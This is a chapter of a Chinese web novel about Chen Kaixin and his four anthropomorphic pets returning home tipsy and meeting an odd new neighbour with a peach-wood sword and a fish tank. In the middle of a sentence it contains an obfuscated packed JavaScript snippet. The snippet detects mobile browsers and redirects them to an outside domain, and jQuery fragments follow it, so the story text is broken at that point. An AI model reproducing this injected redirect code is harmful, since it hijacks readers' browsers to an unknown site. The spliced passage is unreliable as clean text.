难得大家一起出来一趟,陈开心带着他的四个宠物,一头扎进市中心的霓虹与人潮里,直到华灯初上,夜色如墨汁般彻底浸染天空,他们才惊觉已是晚上十点。
“完了完了,末班车!”包子第一个跳起来,他那双圆溜溜的眼睛在夜色里瞪得更大,像两颗受惊的绿玻璃弹珠。他本质是只波斯猫,此刻酒意微醺,动作带着点猫科特有的慵懒和突然的敏捷。
陈开心揉了揉有些发胀的太阳穴,看着眼前四个东倒西歪,脸颊泛红的家伙。
今天带他们出来本意是添置些换季衣物,结果路过一个装饰得花里胡哨的果酒小摊,摊主巧舌如簧,哄得几个从没沾过酒精的小家伙晕头转向。
“尝尝嘛,都是水果酿的,度数低得很,跟果汁一样!”
一个口味接一个口味尝过去,荔枝的甜腻、青梅的酸爽、杨梅的醇厚……陈开心一个没拦住,这几个“好奇宝宝”就每样都灌了小半杯下去。
后果显而易见。
雪碧豪气干云地拍出自己的五百块零花钱:“好喝!老板,每样再来一瓶!不,两瓶!”
于是,十瓶花花绿绿的果酒就落在雪碧怀里,成了他此刻甜蜜又沉重的负担。
汉堡和包子走路已经开始画八字,可乐更是直接黏在陈开心身上,毛茸茸的脑袋蹭着他的颈窝,发出满足的咕哝声,像只超大号的暖手宝。
“幸好没开车……”陈开心暗自庆幸。
市中心晚高峰的拥堵名不虚传,加上这几个醉猫醉狗,要是开车,今晚怕是得在局子里过了。
他半搂半抱着软成一滩泥的可乐,招呼着前面两个还在试图走直线的家伙:“走了走了,公交站台就在前面,赶不上末班车,我们就得露宿街头了!”
挤上人已经不多的末班公交车,清凉的空调风也没能完全驱散他们身上的酒气和热气。
汉堡和包子找了个后排双人座,头抵着头,很快发出了轻微的鼾声,偶尔还吧唧一下嘴,似乎在梦里回味那果酒的滋味。
雪碧抱着他的“宝贝”酒瓶,警惕地环视四周,仿佛抱着稀世珍宝。可乐则全程挂在陈开心身上,热烘烘的呼吸喷在他耳边,带着果酒的甜香,让陈开心也有些昏昏欲睡。
摇摇晃晃近一个小时,终于在他们居住的小区附近的公交站台下了车。
一踏上人行道,夏夜的晚风带着白日残留的余温和草木的清新气息扑面而来。这本该是令人舒畅的,但对于几个酒精上头的家伙来说,这轻柔的风却像催化剂,瞬间将车厢里压下的那点微醺发酵成了更浓的醉意。
“嗷呜——”汉堡突然怪叫一声,挣脱陈开心的手,拉着包子蹦上绿化带边缘窄窄的石板路。
“石头剪刀布!谁赢谁先走!”他嚷嚷着,舌头有点打结。
包子也来了兴致,两人就在那仅容一足的窄路上摇摇晃晃地猜起拳来,赢了就得意地往前跳一步,输了就懊恼地跺脚,活像两个心智只有三岁的幼稚园小朋友,石板路旁低矮的灌木丛被他们蹭得沙沙作响。
雪碧抱着十瓶酒,像个忠诚又有点滑稽的侍卫,亦步亦趋地跟在后面,还一本正经地当起了裁判:“汉堡出布!包子出石头!汉堡赢!前进一步!……哎包子你慢点,别掉下去!”
他那张总是带着憨厚笑容的脸,此刻在昏暗路灯下显得格外认真。
陈开心看着这混乱又充满生机的队伍,无奈地笑了笑,晚风吹拂着他额前的碎发,也吹散了部分疲惫。
他半搂半抱着依旧黏人的可乐,可乐几乎把全身重量都压在他身上,毛茸茸的脑袋在他颈窝蹭来蹭去,嘴里含糊地嘟囔着:“开心……回家……睡觉……”
陈开心只好用一只手环住他的腰,另一只手轻轻拍着他的背,像哄一只巨型犬。
“慢点走,不着急。”他的声音在夜色里显得格外低沉温柔,带着一种被依赖的满足和淡淡的宠溺。
一行人就这样以极其缓慢且不规则的队形,在晚风与星光下,朝着那个名为“家”的温暖巢穴,散漫地挪动着。
终于,熟悉的那幢居民楼出现在视野里。楼道的感应灯昏黄,映照着门口不同寻常的景象。
一辆蓝白相间的“货拉拉”面包车停在那里,后车厢门大敞着。几个穿着统一工服的搬家工人正趁着夜晚的凉意,忙碌地从车上卸下大大小小的纸箱和几件用泡沫包裹严实的家具。
空气里弥漫着一股淡淡的尘土和汗水混合的味道。
陈开心下意识多看了两眼,借着车厢内的灯光和楼道的光线,他清晰地看到车厢深处堆叠着几个特殊的纸箱。
其中一个敞开的箱子里,赫然是满满当当,粗如儿臂的红色蜡烛,烛泪凝固在表面,显得古老而肃穆。旁边是一个用软布半盖着的物件,看那露出的暗红色一角以及繁复的雕花,分明是一个红木制成的香案台。还有几个箱子上印着“易碎”标识,从缝隙里能看到青瓷质地的香炉轮廓。
“啧,新搬来的?家里有老人信佛啊?”陈开心心里嘀咕。
这种全套的烧香拜佛家什,在年轻人居多的公寓楼里可不多见。他本能地觉得这新邻居可能有点“讲究”,赶紧朝前面还在绿化带边缘玩得不亦乐乎的汉堡和包子喊道:“汉堡!包子!别在那儿看了,快过来!当心挡着人家干活!”
“哦……”汉堡不情不愿地应了一声,拉着包子跳下石板路,但眼睛还是忍不住好奇地瞟向那辆装满“奇怪”东西的车。
被陈开心拽着的可乐也努力扭过头,湿漉漉的鼻尖耸动着,好奇地问:“开心……他们在干嘛呀?”
他的声音带着浓浓的鼻音和醉意,眼神迷蒙。
“搬家呢。”陈开心言简意赅地回答,同时看到旁边那部电梯门口堆满了搬家用的家具和箱子,显然是被占用了,他果断按下另一部电梯的上行按钮。
“搬家?”汉堡皱起了眉头,圆圆的脸上满是不解,“为什么搬家?家……不就是家吗?为什么要搬来搬去?”
他从小被陈开心捡回来,在这个屋檐下长大,从未经历过挪窝,家对他而言,是固定的温暖巢穴,是安全感的全部来源。包子和可乐也投来同样困惑的目光,雪碧抱着酒瓶,若有所思地点点头,又摇摇头,显然也没想明白
陈开心看着他们懵懂的眼神,心里泛起一丝柔软和酸楚。
是啊,这些小家伙们从出生睁开眼,看到的就是他和这个家。对他们而言,搬家是陌生而不可理解的概念,人类尚且需要时间适应新环境,何况是天生对环境变化敏感的小动物?
“因为……”电梯门“叮”一声打开,陈开心示意大家进去,按下自家楼层,“因为原来的家可能住不下去了啊。也许房租涨了,付不起了,就得找个更便宜的地方。也许换了新工作,离得太远,每天通勤太累,就得搬个近点的。或者……也可能只是单纯想换个环境。”
他走进电梯,一边解释着,一边习惯性地按关门键。
电梯门缓缓合拢,金属门缝里透出的楼道光线越来越窄。就在门即将完全关闭的最后一刹那,一个急促的男声伴随着杂乱的脚步声由远及近:“等等!等等!麻烦等一下!”
陈开心下意识地伸手挡住了感应区,电梯门听话地重新滑开。
一个穿着花哨夏威夷风短袖衬衫的男人气喘吁吁地冲了进来。
他看起来三十岁上下,身形有些瘦削,跑得满头大汗,一手抓着一个看起来颇为古旧的桃木剑,那剑柄雕着粗糙的兽头,剑身刻着些弯弯曲曲的符文,与他的花衬衫搭配在一起,透着一股强烈的不伦不类感。
更引人注目的是他背上背着一个宠物专用的黑色航空箱,箱体随着他的跑动剧烈地晃荡着,里面传出清晰的水声。
陈开心这才看清,那航空箱里装的并非猫狗,而是一个小巧的圆形玻璃鱼缸。几条通体金红色,鳞片在电梯灯光下闪着细碎光芒的小鱼,正在清澈的水中惊慌失措地上下游动,水花因为刚才的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651409|172075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颠簸溅湿了男人的后背和一小片电梯地面。
“谢谢!谢谢啊哥们儿!”男人挤进电梯,站在了最前面,背对着众人,大口喘着粗气,一手扶着电梯壁,一手还紧紧攥着那把桃木剑。
他背上航空箱里的水仍在微微晃荡,折射着顶灯的光,像一小片流动的碎金。
“不客气。”陈开心礼貌地点点头,同时好像感觉到站在他身后的汉堡身体瞬间绷紧了。
电梯空间本就狭小,五个人加一个背着大鱼缸的男人,更显拥挤。男人手里那把桃木剑似乎总是不经意地往陈开心这边倾斜,剑尖几乎要戳到他胳膊。
陈开心微微蹙眉,不动声色地往旁边让了让,那剑却像有意识般,又稍稍偏了过来。一丝极淡的,类似寺庙里那种陈年香火的气息,混合着男人身上的汗味和鱼缸的水腥味,飘进陈开心的鼻腔。
他压下心头升起的那点莫名的不安,想起刚才被打断的话题,决定继续给小家伙们“打预防针”:“所以啊,搬家的原因有很多很多。在大城市里,能像我们这样在一个地方安安稳稳住上好几年,其实已经是很幸运的事了。”
他的声音在密闭的电梯里显得有些低沉,带着一种过来人的感慨。
“更多的人,可能因为各种各样的原因,总是在不停地搬家,从一个地方搬到另一个地方,像浮萍一样,为了生活奔波,为了能在这个城市有个小小的立足之地努力挣扎着。”
他顿了顿,想到自己也曾经历过找房和搬家的辛苦,以及维持这个“小家”的不易,语气里不自觉地带上了一丝沉重。
“可能……我们以后,也会有需要搬家的一天。” 他轻叹了口气,算是提前给这四个无忧无虑的小家伙吹吹风,让他们有点心理准备,“到时候,你们可别太难过。”
预想中汉堡“不要搬家”的抗议或者雪碧“我们会保护家”的豪言壮语并没有出现,身后一片诡异的安静。
陈开心只听到航空箱里轻微的水声,以及男人略显粗重的呼吸。看来小家伙们真的被“可能要搬家”的消息打击到了,连平时最闹腾的汉堡都没吱声。陈开心心里有点不是滋味,但同时也松了口气,安静点也好。
“叮咚。”电梯到达了他们居住的楼层。清脆的提示音打破了沉默。
电梯门刚打开一条缝,那背着鱼缸的花衬衫男人便动作敏捷地侧身挤了出去,径直左转,朝着陈开心家对面的那扇一直空置的房门走去。
就在他即将消失在转角时,他突然停下脚步,转过头,目光精准地投向电梯内的陈开心。
那眼神极其复杂,带着几分了然于胸的促狭,一丝毫不掩饰的嘲讽,嘴角甚至还勾起了一抹意味深长的笑意。
这笑容非但不友好,反而让陈开心感到一阵莫名的寒意,仿佛自己刚才在电梯里的“高谈阔论”和内心的隐秘担忧都被对方一览无遗。
陈开心被他看得心里发毛,不明所以地眨了眨眼,下意识地避开了那探究的目光。电梯门在他面前缓缓合拢,隔绝了那个诡异的眼神。
他摇摇头,驱散心头那点异样感,带着点催促地对还挤在电梯角落里的四个家伙说:“发什么呆呢?到家了,快出来!”
他率先转身,掏出钥匙,朝着右边自家的房门走去。
钥匙插进锁孔,转动,发出清脆的“咔哒”声。陈开心推开门,一股熟悉的味道扑面而来。
他舒服地吸了口气,回头招呼:“快点进来,洗洗睡了,明天……”
话说到一半,他愣住了。
身后空空如也,电梯门还开着,感应灯亮着,那四个家伙竟然还挤在电梯角落里,围成一个小小的圆圈,脑袋几乎抵在一起,蹲在地上,正压低了声音,窸窸窣窣地不知道在搞什么鬼名堂。
他刚才开门的动静都没惊动他们!
一股不祥的预感瞬间攫住了陈开心,他三步并作两步冲回电梯口,居高临下地看着那四个撅着屁股,鬼鬼祟祟的背影。